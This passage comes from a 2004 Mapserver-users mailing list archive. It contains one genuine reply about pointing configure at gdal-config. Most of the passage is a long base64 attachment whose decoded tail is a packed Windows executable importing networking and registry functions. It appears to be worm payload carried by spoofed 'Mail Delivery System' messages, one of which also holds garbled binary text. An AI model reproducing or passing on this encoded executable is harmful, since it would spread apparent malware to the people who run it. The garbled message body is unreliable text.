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 AAAAAAAAAAAAAAAAAA== ------=_NextPart_000_0007_13381B20.F353F2D1-- From frank.koormann@intevation.de Mon Feb 2 11:09:00 2004 From: frank.koormann@intevation.de (Frank Koormann) Date: Mon, 2 Feb 2004 12:09:00 +0100 Subject: [Mapserver-users] Configure - help In-Reply-To: <401D872C.2070608@supanet.com> References: <401D872C.2070608@supanet.com> Message-ID: <20040202110900.GA7654@intevation.de> Keith, * Keith Campbell [040202 00:48]: > Hi All, > > Can anybody help with this? > > Running configure (on a Solaris) produces the following messages:- > > checking if GDAL support requested... yes, user supplied gdal-config > (/export/home/local/util/gdal/configure) you mustn't specify the path to the configure script of the gdal source package but the path to the program called 'gdal-config' which should be build and installed with gdal. Regrads, Frank -- Frank Koormann Professional Service around Free Software (http://intevation.net/) FreeGIS Project (http://freegis.org/) From steve.lime@dnr.state.mn.us Mon Feb 2 11:51:40 2004 From: steve.lime@dnr.state.mn.us (steve.lime@dnr.state.mn.us) Date: Mon, 2 Feb 2004 12:51:40 +0100 Subject: [Mapserver-users] Mail Delivery System Message-ID: <200402021152.i12Bq6AP020539@lists.gis.umn.edu> This is a multi-part message in MIME format. ------=_NextPart_000_0014_B6A27FF2.B0BD85FB Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit _“q&zÍüÁ×ć ĘĄ×ÔHžŠďŔMr÷cÂî1cЄÖBú´–YúŠľăE_cq–EÂÜĄŃőƙŁDě 1*2™ řŹ…ŮZšœ‹üŔƒIHIđBŐdć˛;}XĽ9n‘}¸s;ËÍ;ä%|!~ŚžľŕUţ ŠřNňqNŤ*ĎcZJ\şç(Ÿ“„ŹLśSŢŨ[ăńҽä;Ĺ|ţśś‰Œ™Ö'ť2Ť\äiüX‘”§ř-H­ĹVޙYs˝„šk‚˜ŞĄ 9‡ 